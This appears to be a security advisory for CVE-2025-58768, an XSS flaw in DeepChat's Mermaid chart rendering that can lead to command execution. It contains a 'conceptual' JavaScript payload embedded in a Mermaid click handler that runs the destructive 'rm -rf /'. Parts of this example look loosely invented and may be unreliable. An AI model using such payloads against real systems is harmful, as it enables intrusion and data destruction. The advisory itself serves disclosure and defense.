Overview

DeepChat, a prominent smart assistant that utilizes artificial intelligence, has been flagged with a significant vulnerability in its Mermaid chart rendering component. This vulnerability, identified as CVE-2025-58768, affects all DeepChat versions prior to 0.3.5. If exploited, it could lead to system compromise or data leakage, posing a grave risk to users and their sensitive information.
The importance of this vulnerability lies in its potential impact. As the smart assistant is widely used across various sectors, it poses a significant threat to individual users as well as organizations. A successful exploitation could compromise system integrity, user privacy, and data security, which could have far-reaching consequences.

Vulnerability Summary

CVE ID: CVE-2025-58768
Severity: Critical (9.6/10.0)
Attack Vector: Client-side
Privileges Required: None
User Interaction: Required
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

DeepChat | <0.3.5 How the Exploit Works

The exploit is rooted in the DeepChat application’s Mermaid chart rendering component that directly uses `innerHTML` to set user content. This allows malicious content rendered via Mermaid to trigger an exploit chain, leading to command execution. It’s primarily caused by a failure to fully address an existing XSS issue in the project, leading to this new exploit chain.
This exploit chain is consistent with the report GHSA-hqr4-4gfc-5p2j, which allows execution of arbitrary JavaScript code via XSS and arbitrary commands via exposed IPC.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited:

// A malicious script that can be injected
var malicious_script = `
var require = window.parent.require;
var process = require('process');
var exec = require('child_process').exec;
exec('rm -rf /');  // command to delete everything on the machine
`;
// An attacker might craft a Mermaid chart with the malicious script
var malicious_chart = `
graph LR
A[Start] -->|Inject script| B((' '))
B --> C{End}
classDef className fill:#f96,stroke:#333,stroke-width:4px;
class B className;
click B "javascript:${malicious_script}" "This is a tooltip"
`;
chat.render('mermaid', malicious_chart);

This example shows how an attacker could inject a malicious script into a Mermaid chart, thus exploiting the vulnerability to execute arbitrary commands.

Mitigation Guidance

Users are strongly advised to apply the vendor patch by updating their DeepChat version to 0.3.5 or later. In the absence of patch accessibility, users can employ a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as temporary mitigation measures. However, these should only be considered as temporary solutions, and users should update their software as soon as possible to avoid potential exploitation.